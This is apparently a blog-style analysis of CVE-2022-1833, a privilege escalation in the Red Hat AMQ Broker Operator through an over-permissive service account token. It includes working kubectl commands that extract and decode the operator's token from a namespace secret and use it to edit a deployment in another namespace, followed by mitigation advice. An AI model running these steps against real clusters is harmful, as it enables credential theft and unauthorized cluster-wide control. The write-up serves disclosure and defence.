CVE-2022-1833 - AMQ Broker Operator Privilege Escalation via Secrets – Exploit Details and Analysis
In mid-2022, a critical flaw identified as CVE-2022-1833 was discovered in the Red Hat AMQ Broker Operator (version 7.9.4), particularly when installed using the OperatorHub UI on Kubernetes or OpenShift clusters. This vulnerability could allow a user with low privileges (but with access to the namespace where the AMQ Broker Operator is deployed) to escalate their rights to cluster-wide edit permissions.
This long-read will break down how the vulnerability works, show you code examples of exploitation, and provide links to original advisories.
Understanding the Vulnerability
The root cause of CVE-2022-1833 lies in the misconfigured service account permissions given to the Operator. The Operator uses a service account for installation and management of AMQ Broker resources. After installation, this service account retains excessive permissions – more than what standard operation requires.
Any user who can access secrets in the namespace (legitimately or via another compromise) can extract the service account’s token and use it to perform unintended actions, including editing resources cluster-wide.
Step 1: Identify the Operator Namespace
Suppose the AMQ Broker Operator is running in a namespace, e.g., amq-broker-operator.
To list all service account secrets
kubectl get secrets -n amq-broker-operator
Look for those named something like amq-broker-operator-token-xxxx.
Get the token from the secret with
kubectl get secret amq-broker-operator-token-xxxx -n amq-broker-operator -o jsonpath='{.data.token}' | base64 --decode
This gives you a JWT token.
With this token, set up a new kubeconfig context or use a tool like kubectl directly
export TOKEN=$(kubectl get secret amq-broker-operator-token-xxxx -n amq-broker-operator -o jsonpath='{.data.token}' | base64 --decode)
kubectl --token="${TOKEN}" get clusterrolebindings
kubectl --token="${TOKEN}" edit deployment my-deployment -n victim-namespace
Since the service account has cluster-wide edit rights, it can modify resources beyond its own namespace.
Why Does This Happen?
- The Operator is deployed using OperatorHub, which automatically sets up necessary roles and bindings.
- However, the ClusterRoleBinding associated with the operator's service account is too permissive.
- The service account's JWT token, stored in a Kubernetes secret, is readable by anyone with access to secrets in the namespace.
This creates a classic privilege escalation path: from a low-privileged namespace reader to owning resources cluster-wide.
Original Red Hat Security Advisory:
Mitre Database:
Upstream Operator Docs:
AMQ Broker Operator on OperatorHub
General Operator Security Best Practices:
Kubernetes Operators Security Guide
Mitigation & Recommendations
- Restrict Secret Access: Ensure only trusted accounts can read secrets in the operator’s namespace.
- Review Service Account Role Bindings: Remove unnecessary ClusterRoleBindings or downgrade permissions.
Conclusion
CVE-2022-1833 demonstrates how even "low-privileged" users can become a major risk with just a bit of oversight in service account permissions. If your clusters run AMQ Broker Operator via OperatorHub, check your deployment for over-permissive bindings, restrict secrets, and audit your roles and service accounts regularly.
Timeline
Published on: 06/21/2022 15:15:00 UTC
Last modified on: 06/29/2022 14:08:00 UTC